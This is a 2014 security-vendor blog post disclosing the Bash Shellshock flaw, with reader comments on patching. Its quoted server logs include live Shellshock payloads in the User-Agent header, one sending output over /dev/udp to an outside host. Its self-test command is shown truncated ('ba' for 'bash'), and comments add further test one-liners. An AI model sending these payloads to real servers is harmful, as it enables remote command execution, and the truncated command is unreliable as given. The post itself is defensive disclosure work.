VULNERABILITY DISCLOSURE, WEBSITE MALWARE INFECTIONS, WEBSITE SECURITY

Bash Vulnerability – Shell Shock – Thousands of cPanel Sites are High Risk

Daniel Cid
September 25, 2014

The team behind the Bash project (the most common shell used on Linux) recently issued a patch for a serious vulnerability that could allow for remote command execution on servers running the vulnerable bash versions.

Wait, remote command execution on bash? You are likely asking yourself, "How can someone remotely execute commands on a local shell?"

The issue starts with **mod_cgi** and how web servers interact with CGI programs (that could be written in Perl, PHP, Shell scripting or any other language). The web server passes (environment) user variables to them so they can do their work. In simple terms, this vulnerability allows an attacker to pass a command as a variable that gets executed by bash.

It means that if you are using **mod_cgi** on your webserver and you have a CGI written in shell script, you are in deep trouble. **Drop everything now and patch your servers.**

If you have CGI's written on any other language, but you are using "system()", "(backticks)" or executing any commands from the CGI, you are in deep trouble. **Drop everything now and patch your servers.**

If you don't know what you have, **Drop everything now and patch your servers.**

Who is Vulnerable?

Almost every server in the Internet is vulnerable to it (every server has Bash). But not all sites are actually exploitable.

I mean, who really still uses **mod_cgi** instead of **mod_php/fast_cgi** that would be safe? Or who would write a CGI in shell scripting?

cPanel Users at Risk

Well, turns out **cPanel** does that for some of their internal tools.

As we started to scan our clients sites (and the Internet as a whole) we found that about **2.9% of all sites** we scanned were vulnerable to this problem. All of them were running cPanel and had these 2 files available:

```
/cgi-sys/entropysearch.cgi
/cgi-sys/FormMail-clone.cgi
```

When we talk about millions of websites online, **2.9% is a lot**. Just from our investigation, we found thousands of websites vulnerable and easily compromised.

SEARCH
Search the blog
SEARCH

JOIN OVER 20,000 SUBSCRIBERS!
Click here to receive email updates!

SUCURi
10% Discount
Get 10% off all Platform Pro Plans with code*:
sucuriblog
*Valid from August 28th to September 15th. Offer for new annual Platform Pro Plans signups only!

Need help cleaning up malware on your website?
Get Help Now

If you are using cPanel, you have to patch your servers right away (or remove these files from the server)!

For Sucuri clients, sites behind our Website Firewall / WAF are already protected against it, but we still recommend patching.

Attacks in the Wild

We are seeing many scans for this vulnerability in the wild, but mostly coming from security researchers trying to understand the severity of it (nothing really bad yet). So far, these two IP addresses (166.78.61.142, 24.251.197.244) are hitting every site they can, trying to trigger the vulnerability

> **166.78.61.142 – – [25/Sep/2014:06:28:47 -0400] "GET / HTTP/1.1" 200 193 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444"**
>
> **24.251.197.244 – – [25/Sep/2014:07:49:36 -0400] "GET / HTTP/1.1" 200 193 "-" "() { :; }; echo -e x22Content-Type: text/plainx5Cnx22; echo qQQQQQq"**

We have not detected any massive scans looking for real CGI that would be vulnerable (that's where the problem lies).

Even if you are using **mod_php** for your web application (like WordPress or Joomla), you have to make sure that **mod_cgi** is not enabled for things like your cPanel backend, Plesk, or any other management tool.

In a few more days we will see real scans and actual attacks attempting to exploit this **Shell Shock** vulnerability.

NIX System Administrators

You're in luck with this one, identifying if you're vulnerable is easier than previous vulnerabilities. Log into your server and via terminal run this command:

```
[root@yourawesomeserver ~]# env x='() { :;}; echo vulnerable' ba
```

If you are vulnerable it will return:

```
[root@yourawesomeserver ~]# env x='() { :;}; echo vulnerable' ba
vulnerable
hello
```

To fix it will depend on your NIX distribution but you will want to reinstall or update, whichever you prefer:

```
#sudo apt-get install bash

- or -

#sudo yum update bash
```

Once complete, rerun the test and you will get:

```
[root@yourawesomeserver ~]# env x='() { :;}; echo vulnerable' ba
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
hello
```

Daniel Cid

Daniel B. Cid is Founder of Sucuri and the VP of Engineering for the GoDaddy Security Products group. He is also the founder of OSSEC and CleanBrowsing. You can find more about Daniel on his site dcid.me or on Twitter: @danielcid

RELATED TAGS

COMMAND LINE TOOLS

16 COMMENTS

Jean-Francois C. says:
September 25, 2014 at 4:53 pm

Redhat have proposed 5 mod_security rules as a workaround while a fix is being (re)released. They worked quite well in blocking those two samples you have given – and many more.

https://access.redhat.com/articles/1200223

HEAP says:
September 25, 2014 at 7:28 pm

From another users post, it appears still vulnerable to CVE-2014-7169 as can be seen from the following test command, correct?

env var='(){(a)=>' bash -c "echo vulnerable to CVE-2014-7169"; /bin/true

vinicius says:
September 26, 2014 at 2:35 am

HEAP, this command seems incorrect because of the lack of spaces (at least how my browser presents it). It'll always echo the string (vulnerable or not). The function import definition string is '() {' (4 characters including the space). So the correct is to include the space. Without it, it's a plan variable just like if it was var='asdf'. Check Florian's patch to confirm what I'm telling: http://seclists.org/oss-sec/2014/q3/693 Also see http://seclists.org/oss-sec/2014/q3/671

Tracy Bryson Carpenter says:
September 26, 2014 at 11:04 am

Looks like the current thing to do is run this command, and if you are vulnerable, you will see the date in the last line of output.

cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>' bash -c "echo date"; cat /tmp/echo

lluner says:
September 25, 2014 at 10:56 pm

daniel ,

o que o pessoa da cpanel fala que eles nao estao vulneravel

Our internal testing showed that /cgi-sys/defaultwebpage.cgi was not vulnerable by this exploit. It is not written in bash and does not make any calls to bash.

If you have evidence to the contrary, or are aware of any other CGI scripts distributed by cPanel that are vulnerable we would greatly appreciate it if you'd open a ticket with us with this information:

http://tickets.cpanel.net

Thanks!

Phil Stark
Technical Support Supervisor
cPanel, Inc.

6:26 AM

David Fraiser says:
September 25, 2014 at 9:23 pm

Why are you targeting this article as if it's a cPanel thing? It's definitely a Linux OS issue, and I find it irresponsible to spin it otherwise.

And no, "every server" does not have bash. Debian servers use dash, Windows servers don't have bash.

I'm not trying to derail the seriousness of this threat, but when you heap on hyperbole and inaccuracies, you indeed detract for the seriousness of the threat.

ssssss says:
September 26, 2014 at 1:59 pm

bash is still present and vulnerable on debian 7.4 default install.

Trane Francks says:
September 27, 2014 at 2:06 am

"Why are you targeting this article as if it's a cPanel thing?"

Probably because while most modern Apaches don't have mod_cgi happening, cPanel does by default so that it can have its CGI Center.

David Means says:
September 29, 2014 at 3:39 pm

It's not just a Linux OS issue. My Mac is completely vulnerable – and I used a Java application to prove it. Windows, if running services under Cygwin, could be vulnerable depending upon the services and the applications it's running – and more importantly, how the applications interact with user-data and the shell.

David Anderson says:
September 26, 2014 at 6:09 am

"I mean, who really still uses mod_cgi instead of mod_php/fast_cgi that would be safe?"

I would like to see this explained more.

My understanding is that plain CGI, if you're using suExec, can be more secure – because multiple websites can each have a unique UID. Whereas, if you're running mod_php, then every website runs under the same UID – and thus a break-in on one might compromise all the others too. So,

CGI can (if set up properly, which in cPanel it is) get you more separation between users and websites, and thus more security.

Kevin Kinsey says:
September 26, 2014 at 10:10 am

Mr. Fraiser,

Good questions. To stick up a bit for Daniel, he does, in the very first paragraph, state that it's about bash, not cPanel specifically.

Probably his point is driven by the fact that a large, large percentage of general-purpose, multi-user, "standard" web-hosting companies are using a Linux distro with cPanel installed, and their users range from sophisticated and knowledgeable to almost totally clueless. I won't offer opinions on how many users are in which of those groups 😉

I agree that a few more paragraphs containing some qualifying language might be a Good Thing(tm). There are indeed a Windows servers out there (most with their own security issues — I won't start to mention what percentage of outward-facing Winboxen I've seen that were begging to be rebooted to "finish installing Windows Updates"), and the BSD's don't install bash by default as far as I know (although many BSD admins who cut their teeth on a Penguin toy do install it).

mod_cgi isn't encouraged by default with FreeBSD either (a typical Apache will use mod_(lang)). (I'm not so cognizant of the other 3 BSD branches' typical configurations).

But given the high incidence of Linuxen in the wild, this is a very serious issue, and I think he's pinpointed what will be the largest target group (and probably the largest overall group) of machines that will be affected by this issue.

BeachGeek says:
September 26, 2014 at 9:22 pm

I manage a good number of FreeBSD servers besides the ones we run in our offices….. I was a bit surprised how many had bash pulled in by a port. If you have FreeBSD servers/desktop, please check if you have bash. Also, all our PCBSD desktops had bash.
FreeBSD uses ash for /bin/sh, and Ubuntu uses dash… and I understand when bash is called as /bin/sh, it's limited; but please patch bash asap… why risk it.

Kevin Kinsey says:
September 29, 2014 at 5:12 pm

I did check, the only FreeBSD box I manage with bash on it is a personal VM used for development behind the firewall. For fun, I moved bash to "/usr/local/bin/bad-bad-bash" and did "ln -s /bin/sh /usr/local/lib/bash" … 🙂

jeffatrackaid says:
September 26, 2014 at 11:28 am

I need to do more research, but some PHP implementations (fast-cgi on older Plesk versions) used a bash wrapper script. I am not clear if this script remained running after launching. If it does, then it could be running on the old version of bash even after you update bash itself.

This could be true for any process you launch inside of a bash shell that is a persistent process.

For such processes, you may just want to restart them. Restarting them may be faster and easier than doing the debugging to find out if they are vulnerable or not.

I find not properly restarting services often leaves exploits exposed long after you patched something. This was pretty common on some Heartbleed servers I looked at. The owners had patched SSL but failed to restart their web servers to it was running old code.

Juan says:
September 27, 2014 at 6:08 am

Our cPanel boxes patched themselves as usual, during the nightly upgrade routine.

CA@PV says:
September 29, 2014 at 1:34 pm

I have heard that apache is affected. I have apache running on a Windows 7 computer. Is that affected?

COMMENTS ARE CLOSED.

RELATED CATEGORIES

VULNERABILITY DISCLOSURE, WEBSITE MALWARE INFECTIONS, WEBSITE SECURITY

YOU MAY ALSO LIKE

Hilary Kneber at it again: voip.dialistico.net

DAVID DEDE — October 26, 2010

The Hilary Kneber group is at it again. We are now tracking their usage of voip.dialistico.net to push malware to quite a few sites. If...

READ MORE

Auto Generated IFrames To Blackhole Exploit Kit – Following the Cookie Trail

DANIEL CID — May 6, 2013

We often talk about websites being compromised and injected with malware that redirect users to exploit kits. We unfortunately don't give you a complete picture...

READ MORE

Bluehost CEO blog & others exploited by domainameat.cc

DAVID DEDE — June 27, 2010

We're seeing that a good number of sites hosted at Bluehost have been hacked and infected with malware from domainameat.cc. The blog of Matt Heaton,...

READ MORE

New Malware Campaign – WPcache-Blogger – Affects Thousands more WordPress Websites via RevSlider

DANIEL CID — December 24, 2014

If SoakSoak wasn't enough, we are starting to see a new malware campaign leveraging the RevSlider vulnerability and compromising thousands of WordPress sites in the...

READ MORE

From Baidu to Google's Open Redirects

DENIS SINEGUBKO — April 18, 2018

Last week, we described how an ongoing massive malware campaign began using Baidu search result links to redirect people to various ad and scam pages....

READ MORE

Remove Unused/Testing/Debug Software From Your Site

DRE ARMEDA — October 20, 2011

We constantly see sites hacked due to vulnerabilities in various tools. In most cases, site owners don't even realize they are there, or don't even...

READ MORE

© 2023 GoDaddy Mediatemple, Inc., d/b/a Sucuri. All rights reserved.